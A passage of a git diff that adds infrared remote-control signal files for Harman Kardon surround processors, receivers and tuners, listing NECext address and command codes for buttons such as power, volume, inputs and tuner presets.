+address: 0C 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir new file mode 100644 index 000000000..00f757a89 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir @@ -0,0 +1,392 @@ +Filetype: IR signals file +Version: 1 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 01 00 00 00 +# +name: CD_PLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 02 00 00 00 +# +name: CD_MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 03 00 00 00 +# +name: CD_SKIP_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 04 00 00 00 +# +name: CD_SKIP_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 05 00 00 00 +# +name: CD_SEARCH>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 06 00 00 00 +# +name: CD_SEARCH<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 07 00 00 00 +# +name: CD_A_-_B +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0B 00 00 00 +# +name: INTRO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 0D 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 50 00 00 00 +# +name: AM/FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: TUNING_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNING_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE_DN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: MEM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 86 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: TUN-M +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 93 00 00 00 +# +name: PSCAN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 96 00 00 00 +# +name: DIRECT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9B 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: 0 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9E 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: AVR +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C0 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C1 00 00 00 +# +name: PHONO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C2 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C3 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VCR_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VCR/VID1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: VCR_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: XBOX/VID2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: TAPE +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CD 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: TV_/_AUX +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: TV/VID3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: VDP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: VID_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D1 00 00 00 +# +name: REAR_LEVEL_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D7 00 00 00 +# +name: REAR_LEVEL_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D8 00 00 00 +# +name: CENTER_LEVEL_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D9 00 00 00 +# +name: CENTER_LEVEL_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DA 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir new file mode 100644 index 000000000..9d5d5fb62 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir @@ -0,0 +1,284 @@ +Filetype: IR signals file +Version: 1 +# +name: CASS_FAST_FORWARD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 01 00 00 00 +# +name: CASS_REWIND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 02 00 00 00 +# +name: CASS_DECK_STOP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 03 00 00 00 +# +name: CASS_SEARCH>> +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 04 00 00 00 +# +name: CASS_SEARCH<< +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 05 00 00 00 +# +name: CASS_RECORD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 06 00 00 00 +# +name: CASS_SELECT_A/B +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 1D 00 00 00 +# +name: SPKR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 2A 00 00 00 +# +name: SKIP_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 30 00 00 00 +# +name: SKIP_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 31 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3A 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 3B 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 50 00 00 00 +# +name: DOLBY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 50 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 52 00 00 00 +# +name: SPEAKER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 53 00 00 00 +# +name: DIGITAL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 54 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 58 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5C 00 00 00 +# +name: CHANNEL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: CH. +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: SET +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 89 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8A 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: TEST +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8C 00 00 00 +# +name: CENT_MODE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8D 00 00 00 +# +name: THEATER +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 92 00 00 00 +# +name: STADIUM +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 94 00 00 00 +# +name: CORSOR_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 99 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9A 00 00 00 +# +name: STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9B 00 00 00 +# +name: 3-CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: PRO-LOGIC +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: DTS_SURROUND +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A0 00 00 00 +# +name: DTS_NEO6 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A1 00 00 00 +# +name: LOGIC7 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: A2 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C1 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C2 00 00 00 +# +name: TONE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: C5 00 00 00 +# +name: PSET_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PRESET_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: PSET_DN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: PRESET_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: 6_CH +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D8 00 00 00 +# +name: CLEAR +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D9 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir new file mode 100644 index 000000000..d771a822b --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir @@ -0,0 +1,50 @@ +Filetype: IR signals file +Version: 1 +# +name: MUTE +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 0D 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 10 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 11 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 50 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 51 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 52 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 55 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 10 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir new file mode 100644 index 000000000..05e03568d --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: >>/ +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 20 00 00 00 +# +name: \<< +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 21 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 2B 00 00 00 +# +name: TUNER +type: parsed +protocol: NECext +address: 11 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir new file mode 100644 index 000000000..7958478cc --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: TAPE +type: parsed +protocol: NECext +address: 12 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir new file mode 100644 index 000000000..6fe80499f --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: CD +type: parsed +protocol: NECext +address: 14 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir new file mode 100644 index 000000000..af6410cd2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: AUX +type: parsed +protocol: NECext +address: 17 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir new file mode 100644 index 000000000..392e14a52 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir @@ -0,0 +1,68 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 09 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 05 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir new file mode 100644 index 000000000..d26280dd0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/6,-1.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VID_3 +type: parsed +protocol: NECext +address: 06 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir new file mode 100644 index 000000000..44381e920 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/64,-1.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: ALL_OFF +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: ALL_ON +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 12 00 00 00 +# +name: CHAN._+ +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1B 00 00 00 +# +name: CHAN.- +type: parsed +protocol: NECext +address: 40 00 00 00 +command: 1F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir new file mode 100644 index 000000000..39697ebe2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/128,112.ir @@ -0,0 +1,158 @@ +Filetype: IR signals file +Version: 1 +# +name: AM/FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: TUNER_SCAN_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNER_SCAN_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNER_PRESET_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: TUNER_PRESET_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: TUNER_PRESET_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: TUNER_PRESET_4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: TUNER_PRESET_5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: TUNER_PRESET_6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: TUNER_PRESET_7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: TUNER_PRESET_8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: ON +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9C 00 00 00 +# +name: TUNER_PRESET_9 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9D 00 00 00 +# +name: OFF +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 9F 00 00 00 +# +name: CD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C4 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C7 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: C8 00 00 00 +# +name: VID_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CA 00 00 00 +# +name: VID_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CB 00 00 00 +# +name: TAPE_1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CC 00 00 00 +# +name: TAPE_2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CD 00 00 00 +# +name: VID_3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: CE 00 00 00 +# +name: DVD +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D0 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 80 70 00 00 +command: D3 00 00 00 +# +name: SLEEP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DB 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: DC 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir new file mode 100644 index 000000000..9c57342c5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver/130,114.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: AC-3 +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 50 00 00 00 +# +name: RF +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 55 00 00 00 +# +name: OPTICAL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 56 00 00 00 +# +name: COAX +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 57 00 00 00 +# +name: OSD +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5C 00 00 00 +# +name: CH._SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 5D 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 80 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 81 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 82 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 83 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 84 00 00 00 +# +name: DELAY +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8A 00 00 00 +# +name: SPEAKER_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8E 00 00 00 +# +name: SPEAKER_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 8F 00 00 00 +# +name: HALL +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 90 00 00 00 +# +name: MATRIX +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 93 00 00 00 +# +name: MOVIE +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 95 00 00 00 +# +name: NIGHT +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 96 00 00 00 +# +name: STEREO/BYPASS +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9B 00 00 00 +# +name: 3_CHAN._STEREO +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9D 00 00 00 +# +name: PRO-LOGIC +type: parsed +protocol: NECext +address: 82 72 00 00 +command: 9F 00 00 00 +# +name: TUNER_PRESET_+ +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D0 00 00 00 +# +name: TUNER_PRESET_- +type: parsed +protocol: NECext +address: 82 72 00 00 +command: D1 00 00 00 +# +name: MULTI +type: parsed +protocol: NECext +address: 82 72 00 00 +command: DF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir new file mode 100644 index 000000000..c356ac238 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/0,-1.ir @@ -0,0 +1,110 @@ +Filetype: IR signals file +Version: 1 +# +name: FM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 41 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 42 00 00 00 +# +name: TUNING_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 44 00 00 00 +# +name: TUNING_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 45 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 46 00 00 00 +# +name: 1/9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 47 00 00 00 +# +name: 2/10 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: 3/11 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 49 00 00 00 +# +name: 4/12 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4A 00 00 00 +# +name: 5/13 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4B 00 00 00 +# +name: 6/14 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: 7/15 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: 8/16 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: SEEK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 53 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir new file mode 100644 index 000000000..6285e83a5 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Harman Kardon/Tuner/128,112.ir @@ -0,0 +1,380 @@ +Filetype: IR signals file +Version: 1 +# +name: AM/FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: FM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: BAND +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 81 00 00 00 +# +name: AM +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 82 00 00 00 +# +name: AM/FM_TUNE/SRCH_>> +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE_UP +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: SCROLL_+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: TUNE+ +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 84 00 00 00 +# +name: AM/FM_TUNE/SRCH_<< +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE_DOWN +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: SCROLL_- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: TUNE- +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 85 00 00 00 +# +name: AM/FM_*_(MEMO) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 86 00 00 00 +# +name: MEMO +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 86 00 00 00 +# +name: MEMORY +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 86 00 00 00 +# +name: AM/FM_1_(ABC) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 87 00 00 00 +# +name: AM/FM_2_(DEF) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 88 00 00 00 +# +name: AM/FM_3_(GHI) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 89 00 00 00 +# +name: AM/FM_4_(JKL) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8A 00 00 00 +# +name: AM/FM_5_(MNO) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8B 00 00 00 +# +name: AM/FM_6_(PQR) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8C 00 00 00 +# +name: AM/FM_7_(STU) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8D 00 00 00 +# +name: AM/FM_8_(VWX) +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8E 00 00 00 +# +name: SHIFT +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 8F 00 00 00 +# +name: SEEK +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 91 00 00 00 +# +name: AUTO_TUNING +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 91 00 00 00 +# +name: HI-BLEND +type: parsed +protocol: NECext +address: 80 70 00 00 +command: 